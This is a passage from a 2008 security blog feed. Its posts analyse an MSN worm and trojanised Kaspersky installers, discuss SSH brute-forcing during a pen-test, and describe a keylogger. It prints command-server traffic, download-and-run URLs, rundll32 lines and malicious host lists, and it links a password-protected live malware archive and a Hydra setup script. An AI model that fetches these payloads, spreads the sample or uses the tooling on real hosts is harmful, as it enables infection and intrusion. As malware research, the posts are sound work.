src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6Ar8AlWnxjqNovWA2nOx3aypelhUwCLQP9mXE738KtxftaSM-pA0S4tXfZf29js4jH85oVqs_kHM5pZMvAY5sLz3fjXt4zvLngdLbLGKN1aQkbA1oVc07adrSGXt6orK4heYlGPyA6Vs9/s400/avs5service.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5267938989288759618&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This exe of darkness downloads and executes a file to c:\msn.exe&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now some deeper information, for the researchers among us. Why their url is not blocked?! because they are tricky!!!&lt;br /&gt;They &quot;try&quot; do download http://www.freewebtown.com/tatrusa/test2.jpg which redirects to&lt;br /&gt;http://fwt.txdnl.com/6-40/t/a/tatrusa/test2.jpg&lt;br /&gt;Then it requests&lt;br /&gt;GET /cn?sid=40545F5A4F1F545B365C365836085B51363A0C1B1F000A0C4939080A02495B4F0A000D542F5C2B282F2D5A5C5A2D5E2C5D5A5B282B2B5E582C5F5151592D2C515D2A5A5A4F081D544F131854594F1D1954594F080F0F000D54585F515D51504F04061B1901000D5408075B0E4F1B0C1F000D54505C505B692901 HTTP/1.1&lt;br /&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)&lt;br /&gt;Host: 85.17.166.233&lt;br /&gt;&lt;br /&gt;And gets&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Thu, 13 Nov 2008 00:04:56 GMT&lt;br /&gt;Server: Apache/2.0.61 (FreeBSD) PHP/5.2.3 with Suhosin-Patch mod_fastcgi/2.4.2&lt;br /&gt;Set-Cookie: sid=EE1DDFD5947B45F595556BD6D7E9C1A7; expires=Sat, 07-Nov-2009 19:04:56 GMT&lt;br /&gt;&lt;br /&gt;g_InstallDll: http://77.93.75.153/img/upd.dll&lt;br /&gt;Content-Length: 127&lt;br /&gt;Connection: close&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;34034a4615431643424540474651151e4a4640445116034a354344403134363435464641464633333543454346414f434f4e3431313131315104114a047743&lt;br /&gt;&lt;br /&gt;Then it sends stuff about me, to get the commands for this cool trojan!&lt;br /&gt;&lt;br /&gt;POST / HTTP/1.1&lt;br /&gt;g_Version: 1156&lt;br /&gt;g_ClientGUID: ,`Xc,q!`!q-Kk!JcXX-yK9NNGqKNk=!!&lt;br /&gt;g_UID: Xk!-,=c=Xyy9yyqqXkJky9NkNh=,,,,,&lt;br /&gt;g_SetID: [QJx&lt;br /&gt;g_AffiliateID: y9NkNh&lt;br /&gt;g_ResourceID: MnOM&lt;br /&gt;g_URL: 8&lt;br /&gt;&lt;br /&gt;g_Client: .Sf&quot;yhJ:y9N:y!y:9` %?[H[Q]F:FBxFf@8/FQ&quot;`:y:J9GGg)O?BFVO S[VE Ji8.K&quot;-:G:`-!G:y!8vR&quot;^yJG8Z}V&quot;|OW?Om8*) uOxFfUO?On U}&quot;  =?}m8rc=&quot;GG^G!^aa^NG^`9^Gk8*K [VV}]QUf&quot;0S*S!p[IO&quot;f[n[f)rvSp[IO&quot;f[n[fb8  =?}m86Wn&quot;GGGGGkGh&gt;#GGGGGkGq8p]IWO? }a H?}VOff}?f&quot; y8.f_fO?cnIFQ&quot; 1Of8o)]VV=}QQ&quot;QOBO?o=}QQ&quot;QOBO?o=}QQp]I&quot;Go,FAO&quot; =&quot;z/.pq*/)zf~fUOI!JzQQQAPFF.:nAAo.QF fFMO&quot; !kkoqOaX?}mfO?&quot;D=&quot;zS?}x?[I ,FAOfz.QUO?QOU KYHA}?O?z.KeSZ*uK:KeKD ^Q}&#39;}IOoqOfEU}H)~fUOI&quot;qOfEU}Ho&lt;br /&gt;g_GZipSupported: U?]O&lt;br /&gt;g_RevID: h9J-&lt;br /&gt;g_First: y&lt;br /&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)&lt;br /&gt;Host: bescoro.com&lt;br /&gt;Content-Length: 37&lt;br /&gt;Cache-Control: no-cache&lt;br /&gt;&lt;br /&gt;)vcv.)v.=) 0%nDDn@%r}MFAA[|FfU}?~&quot; @b&lt;br /&gt;&lt;br /&gt;And gets:&lt;br /&gt;HTTP/1.1 200 Ok&lt;br /&gt;Server: nginx/0.5.35&lt;br /&gt;Date: Thu, 13 Nov 2008 00:05:26 GMT&lt;br /&gt;Content-Type: text/html; charset=iso-8859-1&lt;br /&gt;Connection: close&lt;br /&gt;Pragma: No-cache&lt;br /&gt;Expires: Mon, 26 Jul 1997 05:00:00 GMT&lt;br /&gt;Content-Length: 219&lt;br /&gt;Content-Language: en&lt;br /&gt;Set-Cookie: uid=Xk!-,=c=Xyy9yyqqXkJky9NkNh=,,,,,; expires=Mon, 09-Dec-2007 13:46:00 GMT&lt;br /&gt;Set-Cookie: guid=,`Xc,q!`!q-Kk!JcXX-yK9NNGqKNk=!!; expires=Mon, 09-Dec-2007 13:46:00 GMT&lt;br /&gt;Set-Cookie: cn=y; expires=Mon, 09-Dec-2007 13:46:00 GMT&lt;br /&gt;Location:&lt;br /&gt;Test: [B[FA&lt;br /&gt;g_AdCategory: )}IO&lt;br /&gt;g_ConnectionPerDay: k&lt;br /&gt;g_MaxCategoryAppearances:&lt;br /&gt;g_Popup: U?]O&lt;br /&gt;g_PopupPerDay: yGy&lt;br /&gt;g_RSD: &#39;UUH&quot;88}WFOWO:V}I8x}88o&#39;UUH&quot;88nO?}]fUF:V}I8x}88o&lt;br /&gt;g_RedirectServers: &#39;UUH&quot;88NJ:hN:J!`:!`8x}88o&#39;UUH&quot;88N`:y-:y99:y-G8x}88o&#39;UUH&quot;88N!:ykh:yy`:ykN8x}88o&lt;br /&gt;g_RevFlag: G&lt;br /&gt;g_ServerIPs: gWOfV}?}:V}I&quot;NGigNh:yNN:y9:!9&quot;NGigN!:ykh:yy`:yk-&quot;NGi&lt;br /&gt;g_SetIDWas: _Q?OAO[fOn&lt;br /&gt;g_StatisticsUploadDelay: y&lt;br /&gt;g_StealFocus: a[AfO&lt;br /&gt;g_UID: Xk!-,=c=Xyy9yyqqXkJky9NkNh=,,,,,&lt;br /&gt;g_URL: 8&lt;br /&gt;&lt;br /&gt;Y.r.r..G.....=......Q..|$u..kM.+`.......u..-.L..7...7{G.&lt;br /&gt;.w.=.(r...%.......u........NsGD.a.2...g.d....I.6..:T.............R.L_......$6.G.......RZeZ&gt;&lt;br /&gt;+=/~..`Y. ........B........X&lt;br /&gt;..&#39;.a.b..7...O&gt;n.i..Y.._9_%.&lt;br /&gt;...qre../.p.&lt;br /&gt;&lt;br /&gt;Then it &quot;trys&quot; to download http://www.freewebtown.com/tatrusa/oos.jpg and again redirected to: http://fwt.txdnl.com/6-40/t/a/tatrusa/oos.jpg&lt;br /&gt;Then it downloads http://www.j2arts.com/images/msn.exe to c:\msn.exe&lt;br /&gt;From here it looks like it is the same old tech viruses (keyloggers and the classics, i don&#39;t have time for these files.....):&lt;br /&gt;rundll32.exe C:\WINDOWS\system32\vtUolLBS.dll,a     (vtUolLBS == random name)&lt;br /&gt;rundll32.exe C:\WINDOWS\system32\nnnljiiI.dll,c&lt;br /&gt;rundll32.exe C:\WINDOWS\system32\iifgHbyY.dll,a&lt;br /&gt;&lt;br /&gt;So let&#39;s summarize!&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Evil hosts:&lt;/span&gt;&lt;br /&gt;burimilol.net&lt;br /&gt;burimilol.com&lt;br /&gt;www.j2arts.com&lt;br /&gt;www.freewebtown.com&lt;br /&gt;fwt.txdnl.com&lt;br /&gt;bescoro.com&lt;br /&gt;77.93.75.153&lt;br /&gt;85.17.166.233&lt;br /&gt;&lt;br /&gt;The AV vendors should receive my scanned files from virustotal.&lt;br /&gt;I will also make an exception on this one and upload a sample for all the involved executable!&lt;br /&gt;http://www.linkstofiles.com/MSNWorm.rar&lt;br /&gt;archive password: &quot;virus&quot;&lt;br /&gt;&lt;br /&gt;Stop them, sue them, black list them, hack them, they are stealing from all of us!&lt;br /&gt;Fight for digital law enforcement!!!</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/8223973438504322348/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/8223973438504322348' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/8223973438504322348'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/8223973438504322348'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2008/11/new-msn-worm.html' title='A new MSN Worm'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSlH5PKcMrOy5xi4wjBHHjAa-9BEqoENf0N-rAuDPO5Fo3tsyxXAiNzqC__Pt-SHQyJZonnTgwKcraOluCw4DaYn6_zLVW6jem7BozS-059Eql-h29J4-8moNtzqSF1sIpysLC3cZMZ3E8/s72-c/description.JPG" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-4026063249836229413</id><published>2008-10-28T01:05:00.000-07:00</published><updated>2008-10-28T01:08:00.638-07:00</updated><title type='text'>Pen-Tests in 2008 and Why don&#39;t you crack ssh?</title><content type='html'>I made a pen-test lately to a medium size American firm and it seems public remote exploits for devices such as Juniper, Netopia, Cisco (telnet) and default Linux services has gone to as low as one or two for each since 2004.&lt;br /&gt;&lt;br /&gt;Since any respectable firm has windows update turned on and the Fedora style Linux distribution also has automatic updates, I got to the conclusion that the cycle of:&lt;br /&gt;Safe --&gt; Research --&gt; Exploit --&gt; Public Disclosure --&gt; Patch --&gt; Automatic Update --&gt; Safe&lt;br /&gt;results that Black-Box Penetration Testers don&#39;t have much to show the client except for configuration errors and a few user enumerations and less critical stuff that don’t get fixed by the vendors.&lt;br /&gt;&lt;br /&gt;The solution for that would be that pen-testers will find their own exploits. That is why in the last years most of the written tools are fuzzers.&lt;br /&gt;Cisco, Netopia, Juniper and Linux services were already fuzzed as hell before they were shipped to clients so this doesn&#39;t seem to be a good approach to the problem.&lt;br /&gt;&lt;br /&gt;My suggestions:&lt;br /&gt;1) if you are a pen-tester, research and discover your own vulnerabilities  and create workarounds for them, show it to your client and keep it to yourself!&lt;br /&gt;2) If you are a researcher, supply a working P.O.C because the pen-testers doesn&#39;t have time to buy that machine and develop a working shellcode to work with your vulnerability&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold; text-decoration: underline;color:red;&quot; &gt;Being 13 hops away from the machines I had been pen-testing&lt;/span&gt; I was amazed to see that products which are extremely mainstream and trusted fail for such a simple task.&lt;br /&gt;I used Nmap to scan the network range (of course with -P0 or -PN in the new version) and just two HTTP servers were discovered from 8 hosts, as I am not a big fan of Nmap I returned to what I was using in the past GFI Languard.&lt;br /&gt;&lt;br /&gt;I scanned the targets using GFI Languard (which is a great tool when used inside local networks) and I set complete TCP and UDP ports scan with 20 seconds TCP timeout and 8 seconds UDP timeout, this timeouts are EXTREME and should achieve the most accurate results. The scan results were very poor, detecting about 3 open ports on 8 machines!!! Of course I checked nothing else is running on my internet connection to make sure this was just a bad dream. I scanned again and one more port was discovered, SSH!&lt;br /&gt;&lt;br /&gt;I decided this cannot be true and I returned to Nmap using the &quot;slow and Intensive&quot; scan and the results were better, about 5 TCP ports and 1 SNMP, I thought “still no way that is all they got!”&lt;br /&gt;&lt;br /&gt;Finally, I installed the latest version of Nessus (Tenable Nessus 3), configured it to be with high timeouts and ran the scan. The results were AMAZING!!! It didn&#39;t miss any of what the other scanners have found and he discovered 15 more UDP ports and 7 more TCP ports. From now on, I am only scanning with Nessus, my time is worth it!&lt;br /&gt;&lt;br /&gt;Now that I had some interesting services to attack, I wanted to try and log into one of the Linux machines using SSH. To me it sounds simple, &quot;I will download a dictionary/brute force SSH tool and that&#39;s it&quot;. Apparently not!&lt;br /&gt;There is an ancient perl script running all across the web to do SSH and &quot;expect” THAT-IS-LAME. Some guy really agreed about that and wrote a ruby script to use the lib NET::SSH and automate attempts, quite similar to Tim&#39;s SShatter perl script, that is nice but still no multithreading supported.&lt;br /&gt;Of course you may think &quot;Why not use T.H.C Hydra?&quot;, the answer would be because by default it’s not configured to be compiled with LIBSSH and you got to get some libs, you will burn a few hours to make it work!&lt;br /&gt;&lt;br /&gt;My dear friend &quot;Kiril Nesenko&quot; AKA &quot;axi1es&quot; wrote for YOU guys the script for &quot;The Common Lazy Fedora Guy&quot; which will download hydra, the SSH and other libs, will configure and compile it and will execute the Hydra all automatically, enjoy! :)&lt;br /&gt;&lt;a href=&quot;http://www.linkstofiles.com/install_hydra-5.4-src+ssh.sh&quot;&gt;http://www.linkstofiles.com/install_hydra-5.4-src+ssh.sh&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/4026063249836229413/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/4026063249836229413' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/4026063249836229413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/4026063249836229413'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2008/10/pen-tests-in-2008-and-why-dont-you.html' title='Pen-Tests in 2008 and Why don&#39;t you crack ssh?'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-2716994615390486322</id><published>2008-09-15T09:57:00.000-07:00</published><updated>2008-09-15T15:09:56.841-07:00</updated><title type='text'>Automated spreading of malware through vBulletin forums</title><content type='html'>&lt;a rel=&quot;nofollow&quot; class=&quot;bigusername&quot; href=&quot;http://www.httpshare.net/members/hakan_72_123.html&quot;&gt;&lt;/a&gt;Where would it be better to attack then where all the people trust each other?&lt;br /&gt;A single individual or a group of individuals of which tracks lead to turkish people and chinese hosting or chinese partners is spreading viruses though infected files and setup installations shared in vBulletin forums. It seems these individuals have a registration bot with captcha bypass mechanism for vBulletin 3.7.xx versions (may be other versions too) and they are using it to spread all kinds of malware.&lt;br /&gt;&lt;br /&gt;I first found this when examining another Kaspersky 2009 installation located at:&lt;br /&gt;http://www.httpshare.net/%E4%E5%F8%E3%E5%FA-%FA%E5%EB%F0%E5%FA-%7C-software-download/427522-kaspersky-antivirus-2009-full-34-p-ece-test-key-no-problem.html&lt;br /&gt;&lt;br /&gt;The username spreading this message is &quot;hakan_72_123&quot; and with a simple google search we can see:&lt;br /&gt;http://www.google.com/search?hl=en&amp;amp;client=firefox-a&amp;amp;rls=org.mozilla%3Ahe%3Aofficial&amp;amp;hs=sgc&amp;amp;q=hakan_72_123&amp;amp;btnG=Search&lt;br /&gt;&lt;br /&gt;Hakan is not very shy to use the bot with his own name, go figure maby he is infecting thousands of forums manually?!&lt;br /&gt;Anyway he in www.vbhackers.com/members/hakan_72_123/ which explains a lot :)&lt;br /&gt;&lt;br /&gt;So what did he do? he took the time to upload Kaspersky 2009 to&lt;br /&gt;http://rapidshare.com/files/115362254/Kaspersky_2009_Full_Sueruem_by_hakan.rar&lt;br /&gt;&lt;br /&gt;Well I just checked and it has been 2 month since I found it and the bad guy extended the business for torrents too, this is the same virus under the title &quot;Kaspersky Antivirus 2009 Full + Key [App][www.zonatorrent.com] &quot;:&lt;br /&gt;http://isohunt.com/download/44622492/kaspersky.torrent&lt;br /&gt;&lt;br /&gt;Inside the rar there is a txt file with the text:&lt;br /&gt;&lt;blockquote&gt;1- program demo deðil full sürümdür.&lt;br /&gt;&lt;br /&gt;2- key girmek için þu sýrayý takip et&lt;br /&gt;license-merge-activate using key-brovse= buradan keyleri&lt;br /&gt;çýkarttýðýn klasörü seçip listenin en altýndakin üzerine çýft týklayýp&lt;br /&gt;keyi gir.&lt;br /&gt;&lt;br /&gt;  HAZIRLAYAN: Hakan&lt;br /&gt;&lt;br /&gt; www.avrasyaforum.net&lt;/blockquote&gt;What they did is instead of the standard shared .msi file, they put a WinRAR self-extracting archive with an icon of an msi file. They made the archive so that WinRar&#39;s shell extension doesn&#39;t recognize it as extractable. Once executed it drops a file called svchost.exe in &quot;%ProgramFiles%\Outlook Express\&quot; which is a refreshing path to drop a trojan downloader in :)&lt;br /&gt;It executes the svchost.exe (compressed with MiniPE)  which then executes&lt;br /&gt;the trojan downloaded to %temp%\wmoptimizer.dll using rundll32.exe:&lt;br /&gt;&lt;blockquote&gt;rundll32.exe &quot;%temp%\wmoptimizer.dll&quot;, RunSetup_Install&lt;/blockquote&gt;svchost.exe uses the classic URLDownloadToFileW and ShellExecuteW to download and execute: http://loansquotesinsurance.com/f/Resident.bin&lt;br /&gt;&lt;br /&gt;These is the whois information for  http://loansquotesinsurance.com:&lt;span&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span&gt;Registration Service Provided By: Chinese DQ Network Tech Corp.&lt;br /&gt;Contact: xixipai@hotmail.com&lt;br /&gt;   &lt;br /&gt;Domain name: loansquotesinsurance.com&lt;br /&gt;&lt;br /&gt;Registrant Contact:&lt;br /&gt;   Shawn Lee&lt;br /&gt;   Shawn Lee&lt;br /&gt;  &lt;br /&gt;   B-902,Zhongxing Huayuan,No.1102,Zhongshan Dadao,Tianhe Distr&lt;br /&gt;   Guang Zhou, Guangdong 510660&lt;br /&gt;   CN&lt;br /&gt;&lt;br /&gt;Administrative Contact:&lt;br /&gt;   Shawn Lee&lt;br /&gt;   Shawn Lee (webmasters@loansquotesinsurance.com)&lt;br /&gt;   +86.02033875805&lt;br /&gt;   Fax: +86.02033875805&lt;br /&gt;   B-902,Zhongxing Huayuan,No.1102,Zhongshan Dadao,Tianhe Distr&lt;br /&gt;   Guang Zhou, Guangdong 510660&lt;br /&gt;   CN&lt;br /&gt;&lt;br /&gt;Technical Contact:&lt;br /&gt;   Shawn Lee&lt;br /&gt;   Shawn Lee (webmasters@loansquotesinsurance.com)&lt;br /&gt;   +86.02033875805&lt;br /&gt;   Fax: +86.02033875805&lt;br /&gt;   B-902,Zhongxing Huayuan,No.1102,Zhongshan Dadao,Tianhe Distr&lt;br /&gt;   Guang Zhou, Guangdong 510660&lt;br /&gt;   CN&lt;/span&gt;&lt;/blockquote&gt;&lt;span&gt;The email xixipai@hotmail.com also registers &quot;http://3290.com&quot;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Registration Service Provided By: Chinese DQ Network Tech Corp.&lt;br /&gt;Contact: xixipai@hotmail.com&lt;br /&gt;&lt;br /&gt;Domain name: 3290.com&lt;br /&gt;&lt;br /&gt;Administrative Contact:&lt;br /&gt;   Chinese DQ Network Tech Corp.&lt;br /&gt;   Ren XiaoFeng (xixipai@hotmail.com)&lt;br /&gt;   +1.05306260800&lt;br /&gt;   Fax: +299.05306260803&lt;br /&gt;   ZhongHuaDonglu 1038hao&lt;br /&gt;   HeZe,  274000&lt;br /&gt;   CN&lt;br /&gt;&lt;br /&gt;Technical Contact:&lt;br /&gt;   Chinese DQ Network Tech Corp.&lt;br /&gt;   Ren XiaoFeng (xixipai@hotmail.com)&lt;br /&gt;   +1.05306260800&lt;br /&gt;   Fax: +299.05306260803&lt;br /&gt;   ZhongHuaDonglu 1038hao&lt;br /&gt;   HeZe,  274000&lt;br /&gt;   CN&lt;br /&gt;&lt;br /&gt;Registrant Contact:&lt;br /&gt;   Chinese DQ Network Tech Corp.&lt;br /&gt;   Ren XiaoFeng&lt;br /&gt; &lt;br /&gt;   ZhongHuaDonglu 1038hao&lt;br /&gt;   HeZe,  274000&lt;br /&gt;   CN&lt;/blockquote&gt;Well this is the part where I can only say, if you are reading this and in some kind of cyber police, DO SOMETHING!!!&lt;br /&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/2716994615390486322/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/2716994615390486322' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/2716994615390486322'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/2716994615390486322'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2008/09/automated-spreading-of-malware-through.html' title='Automated spreading of malware through vBulletin forums'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-5273668792830480325</id><published>2008-09-15T07:55:00.000-07:00</published><updated>2008-09-15T15:17:23.085-07:00</updated><title type='text'>Keylogger Running Under Kaspersky 2009</title><content type='html'>The last posts clearly show It is well known that static virus detection is not something AV vendors do well enough. Now this one is quite a story. As I was researching many trojans I was moving files into and out of my Virtual PC machine used to test viruses. My computer has kaspersky 2009 installed and running with maximum security settings (including keyloggers and kernel object modifications).&lt;br /&gt;&lt;br /&gt;I accidently executed without noticing on my host PC one of the samples I was testing in the VM. I was using my computer as usual and I began noticing some kind of tiny delays when typing a lot of text, the kind of delays I was experiencing when I first wrote my first keylogger. I was completely suprised to have this suspicous since I felt &quot;almost safe&quot; with my updating every 4 hours Kaspersky 2009.&lt;br /&gt;&lt;br /&gt;Opening &quot;Process Explorer&quot; I began examining the running processes and noticed some wiered dll files running in all my processes.&lt;br /&gt;kbdth2sys.dll&lt;br /&gt;kbdvntcapi.dll&lt;br /&gt;They were in system32 and these are the AV test results for these 2 files day (also 2 month ago):&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj90SeSEUzUTwQfGrOfy9Qm22OZ62zJ7e6ZFBbSxVtYXAv9IfsgRXcXYB2KCkqxmELYmAXZAZmVEh3avbrxbYos61prVfemXNTMMrNHAd3iWmRCe4-7hr79cOYLiP4DYyQCeau2RasVIELy/s1600-h/anaylsispic.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj90SeSEUzUTwQfGrOfy9Qm22OZ62zJ7e6ZFBbSxVtYXAv9IfsgRXcXYB2KCkqxmELYmAXZAZmVEh3avbrxbYos61prVfemXNTMMrNHAd3iWmRCe4-7hr79cOYLiP4DYyQCeau2RasVIELy/s400/anaylsispic.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5246269542452608994&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I was surprised by two things:&lt;br /&gt;1) Kaspersky Anti-Keylogger &quot;live protection&quot; compromised all my personal information&lt;br /&gt;2) Symantec was the only AV really detecting this and as a keylogger, which is very funny because their AV is a joke, I will send a few posts about that later&lt;br /&gt;&lt;br /&gt;I can&#39;t believe this! I am now uploading the files again to virustotal to see the updated scan results for today and i notice this:&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxdrF4kbihlUyaEg7nLBr6QgP6Y_F4kRVO3HC50-Hl0AylGVRU-oV5q5K5hN6Af5HhX3N_gZUJ_bn-oVJPj2kL8EWYIUKAIUR9rS6DEt1QIE09yUlFRUKqYDSmKeGXUb1Y0_TS42XobFVZ/s1600-h/getthis.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxdrF4kbihlUyaEg7nLBr6QgP6Y_F4kRVO3HC50-Hl0AylGVRU-oV5q5K5hN6Af5HhX3N_gZUJ_bn-oVJPj2kL8EWYIUKAIUR9rS6DEt1QIE09yUlFRUKqYDSmKeGXUb1Y0_TS42XobFVZ/s400/getthis.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5246272522132729762&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The file was first received by virustotal in 2007.10.23 which is almost 2 years ago!!!!!!!!!&lt;br /&gt;This only prooves us 3 things:&lt;br /&gt;1) The malicous code writers WERE INDEED using virustotal&#39;s &quot;don&#39;t distribute samples to AV vendors&quot; which was lately removed!&lt;br /&gt;2) All Anti-Viruses didn&#39;t detect this wide spread keylogger which is used to steal peoples information for THE LAST TWO YEARS!!!&lt;br /&gt;3) Its better to write keyloggers in Delphi ;)&lt;br /&gt;&lt;br /&gt;I here by thank the creator of the matrix for letting me find it on my PC after just 2 days.&lt;br /&gt;Here are today&#39;s result for &lt;span id=&quot;status_nombre&quot;&gt;kbdth2sys.dll&lt;/span&gt;:&lt;br /&gt;http://www.virustotal.com/en/analisis/ae172aaf34a59733d149476e4b4bcb9c&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgocBwWnweF7BaQjqpmpCjRiqzOa7_Tx5uRn1Z78_oGL8gRlVtM06OuJONCa1hJeeYdOnqneDuOd3a8E-lFZR8fVpqzv409smSVzbF98DAb1DaZUxiOy48_CbROdZ1G_zzpEsjFN6p7bCVt/s1600-h/today.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgocBwWnweF7BaQjqpmpCjRiqzOa7_Tx5uRn1Z78_oGL8gRlVtM06OuJONCa1hJeeYdOnqneDuOd3a8E-lFZR8fVpqzv409smSVzbF98DAb1DaZUxiOy48_CbROdZ1G_zzpEsjFN6p7bCVt/s400/today.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5246276861555988082&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So after 2 YEARS it has been undetected and 2 MONTH after the AV vendors got my uploaded samples we get this amazing 10 of 36 result which leaves it undetected for: Kaspersky, DrWeb, McAfee, BitDefender, Microsoft, Panda, F-Secure, Fortinet and others...&lt;br /&gt;&lt;br /&gt;As for &lt;span 